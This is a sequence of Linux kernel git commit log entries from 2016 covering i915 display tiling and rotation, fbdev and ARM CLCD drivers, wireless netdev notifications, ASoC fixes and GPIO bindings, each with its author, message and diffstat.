c2ff7370aee6ba750859d7008d05c68e873d7c7b Author: Ville Syrjälä Date: Thu Feb 11 19:16:37 2016 +0200 drm/i915: Adjust obj tiling vs. fb modifier rules Currently we require the object to be X tiled if the fb is X tiled. The argument is supposedly FBC GTT tracking. But actually that no longer holds water since FBC supports Y tiling as well on SKL+. A better rule IMO is to require that if there is a fence, the fb modifier match the object tiling mode. But if the object is linear, we can allow the fb modifier to be anything. The idea being that if the user set the tiling mode on the object, presumably the intention is to actually use the fence for CPU access. But if the tiling mode is not set, the user has no intention of using a fence (and can't actually since we disallow tiling mode changes when there are framebuffers associated with the object). On gen2/3 we must keep to the rule that the object and fb must be either both linear or both X tiled. No mixing allowed since the display engine itself will use the fence if it's present. v2: Fix typos v3: Rebase due to i915_gem_object_get_tiling() & co. Reviewed-by: Matthew Auld Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1470821001-25272-7-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/intel_display.c | 31 ++++++++++++++++++++++++------- 1 file changed, 24 insertions(+), 7 deletions(-) commit 72618ebfde9e3ff74e03eb6c0bc1fdb33d1d1fa0 Author: Ville Syrjälä Date: Thu Feb 4 20:38:20 2016 +0200 drm/i915: Use fb modifiers for display tiling decisions Soon the fence tiling mode may not always match the fb modifier even for X tiled buffers. So let's use the fb modifier consistently for all display tiling decisions. v2: Rebased due to s/ring/engine/ v3: Rebased due to s/engine/ring/ O_o v4: Rebase due to i915_gem_object_get_tiling() & co. Reviewed-by: Matthew Auld (v1) Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1470821001-25272-6-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/i915/intel_display.c | 35 +++++++++++++++++++++++------------ drivers/gpu/drm/i915/intel_sprite.c | 15 ++++++--------- 2 files changed, 29 insertions(+), 21 deletions(-) commit 2949056c862275064ac4fc0bbb5fa68a4d3026bf Author: Ville Syrjälä Date: Wed Jan 20 18:02:50 2016 +0200 drm/i915: Pass around plane_state instead of fb+rotation intel_compute_tile_offset() and intel_add_fb_offsets() get passed the fb and the rotation. As both of those come from the plane state we can just pass that in instead. For extra consitency pass the plane state to intel_fb_xy_to_linear() as well even though it only really needs the fb. Signed-off-by: Ville Syrjälä Reviewed-by: Daniel Vetter Reviewed-by: Sivakumar Thulasimani Link: http://patchwork.freedesktop.org/patch/msgid/1470821001-25272-5-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/i915/intel_display.c | 35 ++++++++++++++++++++--------------- drivers/gpu/drm/i915/intel_drv.h | 9 ++++----- drivers/gpu/drm/i915/intel_sprite.c | 22 +++++++++++----------- 3 files changed, 35 insertions(+), 31 deletions(-) commit d21967740f4b7d7af794badac91b2c718b8f17c3 Author: Ville Syrjälä Date: Thu Jan 28 18:33:11 2016 +0200 drm/i915: Move SKL hw stride calculation into a helper We repeat the SKL stride register value calculations a several places. Move it into a small helper function. v2: Rebase due to drm_plane_state src/dst rects Signed-off-by: Ville Syrjälä Reviewed-by: Matthew Auld Reviewed-by: Sivakumar Thulasimani Link: http://patchwork.freedesktop.org/patch/msgid/1470821001-25272-4-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/i915/intel_display.c | 52 +++++++++++++++++------------------- drivers/gpu/drm/i915/intel_drv.h | 2 ++ drivers/gpu/drm/i915/intel_sprite.c | 12 ++------- 3 files changed, 29 insertions(+), 37 deletions(-) commit ef78ec9423b9ee9f8f3dfe92dffb900cb83365ec Author: Ville Syrjälä Date: Tue Oct 13 22:48:39 2015 +0300 drm/i915: Don't pass pitch to intel_compute_page_offset() intel_compute_page_offset() can dig up the correct pitch from the fb itself, no need for the caller to pass it in. A bit of extra care is needed for the lower level _intel_compute_page_offset() since that one gets called before the rotated pitch under intel_fb is populated. Note that we don't actually call it with anything but DRM_ROTATE_0 there so we wouldn't actually look up the rotated pitch there, but still, leave the pitch as something the caller has to pass to _intel_compute_page_offset() as an indicator that something is a bit special. This leaves 'stride_div' in the skl plane update hooks as a mostly useless variable so just get rid of it. v2: Add a note why stride_div got nuked v3: Extract intel_fb_pitch() since it can be useful later Signed-off-by: Ville Syrjälä Reviewed-by: Daniel Vetter (v2) Reviewed-by: Sivakumar Thulasimani Link: http://patchwork.freedesktop.org/patch/msgid/1470821001-25272-3-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/i915/intel_display.c | 34 ++++++++++++++++++++-------------- drivers/gpu/drm/i915/intel_drv.h | 1 - drivers/gpu/drm/i915/intel_sprite.c | 26 +++++++++++--------------- 3 files changed, 31 insertions(+), 30 deletions(-) commit 6687c9062c46c83e5a07df65015eb4fc9dc76524 Author: Ville Syrjälä Date: Tue Sep 15 13:16:41 2015 +0300 drm/i915: Rewrite fb rotation GTT handling Redo the fb rotation handling in order to: - eliminate the NV12 special casing - handle fb->offsets[] properly - make the rotation handling easier for the plane code To achieve these goals we reduce intel_rotation_info to only contain (for each plane) the rotated view width,height,stride in tile units, and the page offset into the object where the plane starts. Each plane is handled exactly the same way, no special casing for NV12 or other formats. We then store the computed rotation_info under intel_framebuffer so that we don't have to recompute it again. To handle fb->offsets[] we treat them as a linear offsets and convert them to x/y offsets from the start of the relevant GTT mapping (either normal or rotated). We store the x/y offsets under intel_framebuffer, and for some extra convenience we also store the rotated pitch (ie. tile aligned plane height). So for each plane we have the normal x/y offsets, rotated x/y offsets, and the rotated pitch. The normal pitch is available already in fb->pitches[]. While we're gathering up all that extra information, we can also easily compute the storage requirements for the framebuffer, so that we can check that the object is big enough to hold it. When it comes time to deal with the plane source coordinates, we first rotate the clipped src coordinates to match the relevant GTT view orientation, then add to them the fb x/y offsets. Next we compute the aligned surface page offset, and as a result we're left with some residual x/y offsets. Finally, if required by the hardware, we convert the remaining x/y offsets into a linear offset. For gen2/3 we simply skip computing the final page offset, and just convert the src+fb x/y offsets directly into a linear offset since that's what the hardware wants. After this all platforms, incluing SKL+, compute these things in exactly the same way (excluding alignemnt differences). v2: Use BIT(DRM_ROTATE_270) instead of ROTATE_270 when rotating plane src coordinates Drop some spurious changes that got left behind during development v3: Split out more changes to prep patches (Daniel) s/intel_fb->plane[].foo.bar/intel_fb->foo[].bar/ for brevity Rename intel_surf_gtt_offset to intel_fb_gtt_offset Kill the pointless 'plane' parameter from intel_fb_gtt_offset() v4: Fix alignment vs. alignment-1 when calling _intel_compute_tile_offset() from intel_fill_fb_info() Pass the pitch in tiles in stad of pixels to intel_adjust_tile_offset() from intel_fill_fb_info() Pass the full width/height of the rotated area to drm_rect_rotate() for clarity Use u32 for more offsets v5: Preserve the upper_32_bits()/lower_32_bits() handling for the fb ggtt offset (Sivakumar) v6: Rebase due to drm_plane_state src/dst rects Cc: Sivakumar Thulasimani Signed-off-by: Ville Syrjälä Reviewed-by: Sivakumar Thulasimani Link: http://patchwork.freedesktop.org/patch/msgid/1470821001-25272-2-git-send-email-ville.syrjala@linux.intel.com Acked-by: Daniel Vetter drivers/gpu/drm/i915/i915_gem_gtt.c | 51 ++--- drivers/gpu/drm/i915/i915_gem_gtt.h | 5 +- drivers/gpu/drm/i915/intel_display.c | 368 ++++++++++++++++++++++++----------- drivers/gpu/drm/i915/intel_drv.h | 19 +- drivers/gpu/drm/i915/intel_sprite.c | 97 ++++----- 5 files changed, 331 insertions(+), 209 deletions(-) commit e0299908d606a99e7ffb467bc3c11dfe54133af3 Author: Dan Carpenter Date: Fri Jul 15 14:07:32 2016 +0300 video: fbdev: pxafb: potential NULL dereference on error If we "goto out;" then it calls display_timings_release(timings); Since "timings" is NULL, that's going to oops. Just return directly. Fixes: 420a488278e8 ('video: fbdev: pxafb: initial devicetree conversion') Signed-off-by: Dan Carpenter Acked-by: Robert Jarzmik Signed-off-by: Tomi Valkeinen drivers/video/fbdev/pxafb.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 53d73a0adc818d6a72168c7cc33dd2a45735131a Author: Javier Martinez Canillas Date: Mon Jul 11 16:44:37 2016 -0400 fb: adv7393: Use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Signed-off-by: Javier Martinez Canillas Signed-off-by: Tomi Valkeinen drivers/video/fbdev/bfin_adv7393fb.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d50b3f43db739f03fcf8c0a00664b3d2fed0496e Author: Max Staudt Date: Mon Jun 13 19:15:59 2016 +0200 fbdev/efifb: Fix 16 color palette entry calculation When using efifb with a 16-bit (5:6:5) visual, fbcon's text is rendered in the wrong colors - e.g. text gray (#aaaaaa) is rendered as green (#50bc50) and neighboring pixels have slightly different values (such as #50bc78). The reason is that fbcon loads its 16 color palette through efifb_setcolreg(), which in turn calculates a 32-bit value to write into memory for each palette index. Until now, this code could only handle 8-bit visuals and didn't mask overlapping values when ORing them. With this patch, fbcon displays the correct colors when a qemu VM is booted in 16-bit mode (in GRUB: "set gfxpayload=800x600x16"). Fixes: 7c83172b98e5 ("x86_64 EFI boot support: EFI frame buffer driver") # v2.6.24+ Signed-off-by: Max Staudt Acked-By: Peter Jones Cc: stable@vger.kernel.org Signed-off-by: Tomi Valkeinen drivers/video/fbdev/efifb.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 71668292151efc7ca867e6b6ac0cb603f1d59e42 Author: Bhaktipriya Shridhar Date: Sat Jul 2 14:09:23 2016 +0530 fbdev: Remove deprecated create_singlethread_workqueue The workqueue "esd_wq" has only a single workitem(&md->esd_work) and hence doesn't require ordering. Also, it is not being used on a memory reclaim path. Hence, the singlethreaded workqueue has been replaced with the use of system_wq. System workqueues have been able to handle high level of concurrency for a long time now and hence it's not required to have a singlethreaded workqueue just to gain concurrency. Unlike a dedicated per-cpu workqueue created with create_singlethread_workqueue(), system_wq allows multiple work items to overlap executions even on the same CPU; however, a per-cpu workqueue doesn't have any CPU locality or global ordering guarantee unless the target CPU is explicitly specified and thus the increase of local concurrency shouldn't make any difference. mipid_esd_stop_check () calls cancel_delayed_work() in mipid_cleanup() to ensure that there are no pending tasks while disconnecting the driver. Signed-off-by: Bhaktipriya Shridhar Acked-by: Tejun Heo Signed-off-by: Tomi Valkeinen drivers/video/fbdev/omap/lcd_mipid.c | 9 +-------- 1 file changed, 1 insertion(+), 8 deletions(-) commit b59ac9a3dbcf22c38b0bb958a62bf6b787a449a8 Author: Bhaktipriya Shridhar Date: Sat Jul 2 13:55:40 2016 +0530 omapfb: panel-dsi-cm: Remove deprecated create_singlethread_workqueue The workqueue "workqueue" has only a single workitem(&ddata->ulps_work) and hence doesn't require ordering. Also, it is not being used on a memory reclaim path. Hence, the singlethreaded workqueue has been replaced with the use of system_wq. System workqueues have been able to handle high level of concurrency for a long time now and hence it's not required to have a singlethreaded workqueue just to gain concurrency. Unlike a dedicated per-cpu workqueue created with create_singlethread_workqueue(), system_wq allows multiple work items to overlap executions even on the same CPU; however, a per-cpu workqueue doesn't have any CPU locality or global ordering guarantee unless the target CPU is explicitly specified and thus the increase of local concurrency shouldn't make any difference. dsicm_remove() calls dsicm_cancel_ulps_work which uses cancel_delayed_work() to ensure that there are no pending tasks while disconnecting the driver. Signed-off-by: Bhaktipriya Shridhar Acked-by: Tejun Heo Signed-off-by: Tomi Valkeinen drivers/video/fbdev/omap2/omapfb/displays/panel-dsi-cm.c | 14 ++------------ 1 file changed, 2 insertions(+), 12 deletions(-) commit 7d4a8088f69eac7e3391da6905e817d52cbbc79c Author: Krzysztof Kozlowski Date: Mon Jun 27 14:52:25 2016 +0200 video: s3c2410fb: Register cpufreq notifier only on S3C24xx The driver registered for CPU frequency transitions to recalculate its clock when ARM clock frequency changes (ratio between frequencies of ARM's parent clock (fclk) and clock for peripherals remains fixed). This is needed only on S3C24xx platform when cpufreq driver is enabled so limit the ifdef to respective cpufreq Kconfig. Suggested-by: Marek Szyprowski Signed-off-by: Krzysztof Kozlowski Signed-off-by: Tomi Valkeinen drivers/video/fbdev/s3c2410fb.c | 2 +- drivers/video/fbdev/s3c2410fb.h | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 6b610e004baf874aa43aabd92406f042d0887a50 Author: Wolfram Sang Date: Tue Aug 9 13:27:39 2016 +0200 video: fbdev: mb862xx: mb862xx-i2c: don't print error when adding adapter fails Don't print error when adding adapter fails. The core will do this for us now. Signed-off-by: Wolfram Sang [tomi.valkeinen@ti.com: fixed the description] Signed-off-by: Tomi Valkeinen drivers/video/fbdev/mb862xx/mb862xx-i2c.c | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) commit 23658356665f726c5e69da5e658100c1f064dc8d Author: Nicholas Mc Guire Date: Mon Jul 25 19:12:47 2016 +0200 omapfb/dss: wait_for_completion_interruptible_timeout expects long wait_for_completion_timeout_interruptible returns long not unsigned long. an appropriately typed variable is introduced and assignments fixed up. Signed-off-by: Nicholas Mc Guire Signed-off-by: Tomi Valkeinen drivers/video/fbdev/omap2/omapfb/dss/dispc-compat.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit 25348160e9a444d64f589a8106bc06549934223e Author: Linus Walleij Date: Thu Jun 16 11:36:18 2016 +0200 video: ARM CLCD: add special panel hook for Versatiles This adds a special panel init hook for the ARM reference designs Integrator (IM-PD1), Versatile and RealView, so we can configure a DPI panel from device tree and have it working without boardfiles for these machines. Basically this is the same code as from the board files, just moved over to look up the syscon DT node and manipulate the special CLCD register from their regmap. Tested on RealView PB11MPcore. Cc: Pawel Moll Cc: Rob Herring Cc: Russell King Signed-off-by: Linus Walleij Signed-off-by: Tomi Valkeinen drivers/video/fbdev/Kconfig | 2 + drivers/video/fbdev/amba-clcd-versatile.c | 391 ++++++++++++++++++++++++++++++ drivers/video/fbdev/amba-clcd-versatile.h | 17 ++ drivers/video/fbdev/amba-clcd.c | 4 +- 4 files changed, 413 insertions(+), 1 deletion(-) commit 1d3f0cbe0d3a537cbc8fb1a91f6d14407acece62 Author: Linus Walleij Date: Thu Jun 16 11:36:17 2016 +0200 video: ARM CLCD: add special board and panel hooks for Nomadik In the .board_init() callback will set up a mux register in the Nomadik system controller. It so happens that the platform has two display output engines, and we have to poke a bit in a special register to make sure the right engine is muxed in as they are mutually exclusive. The Nomadik CLCD variant is instantiated on a platform where it is combined with a 800x480 TPO WVGA display. In the .panel_init() hook we will detect this display from the compatible string and set it up. We also add .enable() and .disable() callbacks for it as the sleep state is software controlled. The display is connected with a special 3-wire serial bus (this is sadly neither I2C or SPI) using three GPIO lines that we bitbang to detect the display and enable/disable sleep state. Cc: Pawel Moll Cc: Rob Herring Cc: Russell King Signed-off-by: Linus Walleij Signed-off-by: Tomi Valkeinen drivers/video/fbdev/Makefile | 1 + drivers/video/fbdev/amba-clcd-nomadik.c | 257 ++++++++++++++++++++++++++++++++ drivers/video/fbdev/amba-clcd-nomadik.h | 24 +++ drivers/video/fbdev/amba-clcd.c | 6 +- 4 files changed, 287 insertions(+), 1 deletion(-) commit 046ad6cdeb3f83abcbfa2af88ce471afb2e7fc30 Author: Linus Walleij Date: Thu Jun 16 11:36:16 2016 +0200 video: ARM CLCD: support Nomadik variant The Nomadik variant has a few special quirks that need to be respected to make the driver work: - The block need to be clocked during writing of the TIMn registers or the bus will stall. - Special bits in the control register select how many of the output display lines get activated. - Special bits in the control register select how to manage the different 565 and 5551 modes. - There is a packed 24bit graphics mode, i.e 888 pixels can be stored in memory is three consecutive bytes, not evenly aligned to a 32bit word. This patch uses the vendor data pointer from the AMBA matching mechanism to track the quirks for this variant, and adds two hooks that variants can use to initialize boards and panels during start-up. These will later be used to adopt a Nomadik board profile. Cc: Pawel Moll Cc: Rob Herring Cc: Russell King Signed-off-by: Linus Walleij Signed-off-by: Tomi Valkeinen drivers/video/fbdev/amba-clcd.c | 106 ++++++++++++++++++++++++++++++++++++---- include/linux/amba/clcd.h | 42 ++++++++++++++++ 2 files changed, 139 insertions(+), 9 deletions(-) commit 03d14c36af98dd2191c2e35b5ed55ff93b59d345 Author: Linus Walleij Date: Thu Jun 16 11:36:15 2016 +0200 video: ARM CLCD: support pads connected in reverse order There are CLCDs connected with the pads in BGR rather than RGB order. It really doesn't matter since the CLCD has a flag and a bit to switch the position of the RGB and BGR components. This is needed to put something logical into the arm,pl11x,tft-r0g0b0-pads property of the device tree on the Nomadik which will then be <16 8 0>. Cc: Pawel Moll Cc: Rob Herring Cc: Russell King Signed-off-by: Linus Walleij Signed-off-by: Tomi Valkeinen drivers/video/fbdev/amba-clcd.c | 8 ++++++++ include/linux/amba/clcd.h | 18 +++++++++++++++--- 2 files changed, 23 insertions(+), 3 deletions(-) commit af29897f1046d7c1ab86b57506fbfdcfba569de8 Author: Linus Walleij Date: Thu Jun 16 11:36:14 2016 +0200 video: ARM CLCD: support DT signal inversion flags The device tree bindings from display-timing.txt allows us to specify if data enable, hsync, vsync or the pixed clock should be inverted on the way to the display. The driver does not currently handle this so add support for those flags as it is needed for the Versatile Sanyo LCD display. Note that the previous behaviour was to invert the pixel clock for all displays, so unless the pixel clock polarity is explicitly defined in the device tree (i.e. the timings node has the "pixelclk-active" property) we fall back to inverting the pixel clock. This needs some extra compatibility code. Since the timing flags have to be set up inside the struct clcd_panel, we need to refactor the code a bit to pass around the panel rather than just the mode. Cc: Pawel Moll Cc: Rob Herring Cc: Russell King Signed-off-by: Linus Walleij Signed-off-by: Tomi Valkeinen drivers/video/fbdev/amba-clcd.c | 37 ++++++++++++++++++++++++++++++------- 1 file changed, 30 insertions(+), 7 deletions(-) commit c38162be301d59278f568e0b34be31915b6fe3bb Author: Linus Walleij Date: Thu Jun 16 11:36:13 2016 +0200 video: ARM CLCD: backlight support for OF If the device is probed from device tree, we can support backlight. This is used with some systems such as the ST Microelectronics Nomadik. We have to add HAS_IOMEM to the dependencies of CLCD since the backlight class device will now be selected, and if it gets selected on an arch that does not have IOMEM, compilation will fail. Cc: Pawel Moll Cc: Rob Herring Cc: Russell King Signed-off-by: Linus Walleij Signed-off-by: Tomi Valkeinen drivers/video/fbdev/Kconfig | 4 +++- drivers/video/fbdev/amba-clcd.c | 40 ++++++++++++++++++++++++++++++++++++++++ include/linux/amba/clcd.h | 3 +++ 3 files changed, 46 insertions(+), 1 deletion(-) commit 1d1e56f4140d0af98f7c232fa315e010cd532ccc Author: Mark Brown Date: Wed Mar 30 09:29:36 2016 -0700 omapfb: Fix regulator API abuse in dss.c and hdmi4/5.c The voltage changing code in this driver is broken and should be removed. The driver sets a single, exact voltage on probe. Unless there is a very good reason for this (which should be documented in comments) constraints like this need to be set via the machine constraints, voltage setting in a driver is expected to be used in cases where the voltage varies at runtime. In addition client drivers should almost never be calling regulator_can_set_voltage(), if the device needs to set a voltage it needs to set the voltage and the regulator core will handle the case where the regulator is fixed voltage. If the driver can skip setting the voltage it should just never set the voltage. Signed-off-by: Mark Brown [tomi.valkeinen@ti.com: fix abuse in hdmi5.c too] Signed-off-by: Tomi Valkeinen drivers/video/fbdev/omap2/omapfb/dss/dsi.c | 8 -------- drivers/video/fbdev/omap2/omapfb/dss/hdmi4.c | 8 -------- drivers/video/fbdev/omap2/omapfb/dss/hdmi5.c | 8 -------- 3 files changed, 24 deletions(-) commit 7f8ed01ea5d4d9d4acc3bb046de1fc84ac83a5e2 Author: Denis Kenzior Date: Wed Aug 3 16:58:35 2016 -0500 cfg80211: always notify userspace when wireless netdev is removed This change alters the semantics of NL80211_CMD_DEL_INTERFACE events by always sending this event whenever a net_device object associated with a wdev is destroyed. Prior to this change, this event was only emitted as a result of NL80211_CMD_DEL_INTERFACE command sent from userspace. This allows userspace to reliably detect when wireless interfaces have been removed, e.g. due to USB removal events, etc. For wireless device objects without an associated net_device (e.g. NL80211_IFTYPE_P2P_DEVICE), the NL80211_CMD_DEL_INTERFACE event is now generated inside cfg80211_unregister_wdev. Signed-off-by: Denis Kenzior Signed-off-by: Johannes Berg net/wireless/core.c | 4 ++++ net/wireless/nl80211.c | 18 +----------------- 2 files changed, 5 insertions(+), 17 deletions(-) commit 896ff0635a312022c91e2bef30c80abc27af62e8 Author: Denis Kenzior Date: Wed Aug 3 16:58:33 2016 -0500 cfg80211: always notify userspace of new wireless netdevs This change alters the semantics of NL80211_CMD_NEW_INTERFACE events by always sending this event whenever a new net_device object associated with a wdev is registered. Prior to this change, this event was only sent as a result of NL80211_CMD_NEW_INTERFACE command sent from userspace. This allows userspace to reliably detect new wireless interfaces (e.g. due to hardware hot-plug events, etc). For wdevs created without an associated net_device object (e.g. NL80211_IFTYPE_P2P_DEVICE), the NL80211_CMD_NEW_INTERFACE event is still generated inside the relevant nl80211 command handler. Signed-off-by: Denis Kenzior Signed-off-by: Johannes Berg net/wireless/core.c | 2 ++ net/wireless/nl80211.c | 46 ++++++++++++++++++++++++++++++++-------------- net/wireless/nl80211.h | 3 +++ 3 files changed, 37 insertions(+), 14 deletions(-) commit eae4430ee7c5ea1152400cfc070f3746d41fa134 Author: Felix Fietkau Date: Wed Jul 13 11:00:02 2016 +0200 mac80211: remove skb header offset mangling in ieee80211_build_hdr Since the code only touches the MAC headers, the offsets to the network/transport headers remain the same throughout this function. Remove pointless pieces of code that try to 'preserve' them. Signed-off-by: Felix Fietkau Signed-off-by: Johannes Berg net/mac80211/tx.c | 28 ++-------------------------- 1 file changed, 2 insertions(+), 26 deletions(-) commit 3b17fbf87d5dadf123d328ab072334da285748c1 Author: Maxim Altshul Date: Mon Jul 11 17:15:24 2016 +0300 mac80211: mesh: Add support for HW RC implementation Mesh HWMP module will be able to rely on the HW RC algorithm if it exists, for path metric calculations. This allows the metric calculation mechanism to calculate a correct metric, based on PER and last TX rate both via HW RC algorithm if it exists or via parameters collected by the SW. Signed-off-by: Maxim Altshul Signed-off-by: Johannes Berg net/mac80211/mesh_hwmp.c | 27 +++++++++++++++++++-------- net/mac80211/sta_info.c | 23 +++++++++++++++++++---- net/mac80211/sta_info.h | 2 ++ 3 files changed, 40 insertions(+), 12 deletions(-) commit 8ae3ea48df0d746b663057cf0b972a18d0777b7b Author: Wei Yongjun Date: Wed Aug 10 13:43:12 2016 +0000 ASoC: topology: Fix error return code in soc_tplg_dapm_widget_create() Fix to return error code -ENOMEM instead of 0 when failed to create widget, as done elsewhere in this function. Fixes: 8a9782346dcc ("ASoC: topology: Add topology core") Signed-off-by: Wei Yongjun Signed-off-by: Mark Brown sound/soc/soc-topology.c | 1 + 1 file changed, 1 insertion(+) commit 61743bfaf061e253a58a3a2f22659405cc95939a Author: Wei Yongjun Date: Wed Aug 10 13:53:21 2016 +0000 ASoC: atmel-pdmic: add missing clk_disable_unprepare() on error in atmel_pdmic_cpu_dai_startup() Add the missing clk_disable_unprepare() before return from atmel_pdmic_cpu_dai_startup() in the error handling case. Signed-off-by: Wei Yongjun Signed-off-by: Mark Brown sound/soc/atmel/atmel-pdmic.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit d721b02fd00bf133580f431b82ef37f3b746dfb2 Author: Ville Syrjälä Date: Mon Aug 8 13:58:39 2016 +0300 drm/i915: Account for TSEG size when determining 865G stolen base Looks like the TSEG lives just above TOUD, stolen comes after TSEG. The spec seems somewhat self-contradictory in places, in the ESMRAMC register desctription it says: TSEG Size: 10=(TOUD + 512 KB) to TOUD 11 =(TOUD + 1 MB) to TOUD so that agrees with TSEG being at TOUD. But the example given elsehwere in the spec says: TOUD equals 62.5 MB = 03E7FFFFh TSEG selected as 512 KB in size, Graphics local memory selected as 1 MB in size General System RAM available in system = 62.5 MB General system RAM range00000000h to 03E7FFFFh TSEG address range03F80000h to 03FFFFFFh TSEG pre-allocated from03F80000h to 03FFFFFFh Graphics local memory pre-allocated from03E80000h to 03F7FFFFh so here we have TSEG above stolen. Real world evidence agrees with the TOUD->TSEG->stolen order however, so let's fix up the code to account for the TSEG size. Cc: Taketo Kabe Cc: Chris Wilson Cc: Daniel Vetter Cc: Thomas Gleixner Cc: Ingo Molnar Cc: "H. Peter Anvin" Cc: x86@kernel.org Cc: stable@vger.kernel.org Fixes: 0ad98c74e093 ("drm/i915: Determine the stolen memory base address on gen2") Fixes: a4dff76924fe ("x86/gpu: Add Intel graphics stolen memory quirk for gen2 platforms") Reported-by: Taketo Kabe Tested-by: Taketo Kabe Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=96473 Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1470653919-27251-1-git-send-email-ville.syrjala@linux.intel.com Link: http://download.intel.com/design/chipsets/datashts/25251405.pdf Reviewed-by: Chris Wilson arch/x86/kernel/early-quirks.c | 9 ++------- drivers/gpu/drm/i915/i915_gem_stolen.c | 23 +++++++++++++++++------ 2 files changed, 19 insertions(+), 13 deletions(-) commit 05cc995f4d44c2b14a1f15f3271cc9715cb81099 Author: Christian Lamparter Date: Wed Aug 3 14:05:57 2016 +0200 gpio: mmio: add brcm,bcm6345 support This patch adds support for the GPIO found in Broadcom's bcm63xx-gpio chips. This GPIO controller is used in the following Broadcom SoCs: BCM6338, BCM6345. It can be used in newer SoCs, without the capability of pin multiplexing. Signed-off-by: Christian Lamparter Signed-off-by: Álvaro Fernández Rojas Signed-off-by: Linus Walleij drivers/gpio/gpio-mmio.c | 4 ++++ 1 file changed, 4 insertions(+) commit c17c2db99cb3ffc58ae4d184af54f0d172321ef5 Author: Álvaro Fernández Rojas Date: Wed Aug 3 14:05:56 2016 +0200 gpio: dt-bindings: add brcm,bcm6345-gpio bindings This patch adds the device tree bindings for the Broadcom's BCM6345 memory-mapped GPIO controllers. The gpios will be supported by gpio-mmio code of the GPIO generic library. Signed-off-by: Álvaro Fernández Rojas Signed-off-by: Linus Walleij .../devicetree/bindings/gpio/brcm,bcm6345-gpio.txt | 46 ++++++++++++++++++++++ 1 file changed, 46 insertions(+) commit 1e23437563dd3ad57e30c5d6c29995a982fd649b Author: Patrice Chotard Date: Wed Aug 10 15:12:58 2016 +0200 pinctrl: st: Use second parameter to gpio specifier This patch allows to use the second parameter of gpio specifier, which is used to specify whether the gpio is active high or low. Simply remove specific of_xlate callback() and of_gpio_n_cells and use default one set by of_gpiochip_add() which allows to use second parameter gpio specifier. Signed-off-by: Maxime Coquelin Signed-off-by: Patrice Chotard Signed-off-by: Linus Walleij .../devicetree/bindings/pinctrl/pinctrl-st.txt | 8 ++++++-- drivers/pinctrl/pinctrl-st.c | 17 ----------------- 2 files changed, 6 insertions(+), 19 deletions(-) commit 1d9d0c65d95ecc446972ace6a7583e5cfdc69e48 Author: Baoyou Xie Date: Thu Aug 11 14:38:13 2016 +0800 ASoC: fix W=1 build warnings We get 1 warning about global functions without a declaration in the ASoC sub-system when building with W=1: sound/soc/sh/rcar/core.c:113:6: warning: no previous prototype for 'rsnd_mod_make_sure' [-Wmissing-prototypes] void rsnd_mod_make_sure(struct rsnd_mod *mod, enum rsnd_mod_type type) In this case, the function 'rsnd_mod_make_sure' is declared in rsnd.h file, but it only valid if the macro DEBUG is claimed. so the implementation of function 'rsnd_mod_make_sure' need be held by macro DEBUG. Signed-off-by: Baoyou Xie Signed-off-by: Mark Brown sound/soc/sh/rcar/core.c | 2 ++ 1 file changed, 2 insertions(+) commit 22e766146a5ae744b0e95d80f663a9aab9c189fb Author: Baoyou Xie Date: Thu Aug 11 14:38:12 2016 +0800 ASoC: mediatek: mark symbols static where possible We get 2 warnings about global functions without a declaration in the ASoC mediatek module when building with W=1: sound/soc/mediatek/common/mtk-afe-fe-dai.c:26:5: warning: no previous prototype for 'mtk_regmap_update_bits' [-Wmissing-prototypes] int mtk_regmap_update_bits(struct regmap *map, int reg, unsigned int mask, ^ sound/soc/mediatek/common/mtk-afe-fe-dai.c:34:5: warning: no previous prototype for 'mtk_regmap_write' [-Wmissing-prototypes] int mtk_regmap_write(struct regmap *map, int reg, unsigned int val) In fact, all of those functions are only used in the file in which they are declared and don't need a declaration, but can be made static. so this patch marks it 'static'. Signed-off-by: Baoyou Xie Signed-off-by: Mark Brown sound/soc/mediatek/common/mtk-afe-fe-dai.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 6b0ffacdaf549d66a0c2a838d68f18495980def4 Author: Baoyou Xie Date: Thu Aug 11 14:38:11 2016 +0800 ASoC: atmel-pdmic: mark symbols static where possible We get 1 warning about global functions without a declaration in the ASoC atmel-pdmic driver when building with W=1: sound/soc/atmel/atmel-pdmic.c:286:5: warning: no previous prototype for 'pdmic_get_mic_volsw' [-Wmissing-prototypes] In fact, this function is only used in the file in which it is declared and don't need a declaration, but can be made static. so this patch marks it 'static'. Signed-off-by: Baoyou Xie Signed-off-by: Mark Brown sound/soc/atmel/atmel-pdmic.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 19c891924b764fe192d0ad57b7dc676316a85250 Author: Charles Keepax Date: Thu Aug 11 14:42:55 2016 +0100 ASoC: arizona: Connect ASRCs to both clock domains The two clock domains are enabled based on each input and output of the chip being connected to its respective clock domain. The ASRC however can bridge the two domains and as such can function as an input/output to either domain. The hardware also requires that both clocks are enabled before the ASRC is. Ensure these constraints by linking the ASRCs to both SYSCLK and ASYNCCLK. Signed-off-by: Charles Keepax Signed-off-by: Mark Brown sound/soc/codecs/cs47l24.c | 10 ++++++++++ sound/soc/codecs/wm5102.c | 10 ++++++++++ sound/soc/codecs/wm5110.c | 10 ++++++++++ sound/soc/codecs/wm8998.c | 10 ++++++++++ 4 files changed, 40 insertions(+) commit d581bc88cb0b89ba3bf135855843916fc78e6693 Author: Viresh Kumar Date: Wed Aug 10 10:48:32 2016 -0700 greybus: firmware: Fix typo in documentation s/shall be used the user/shall be used by the user/ Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman 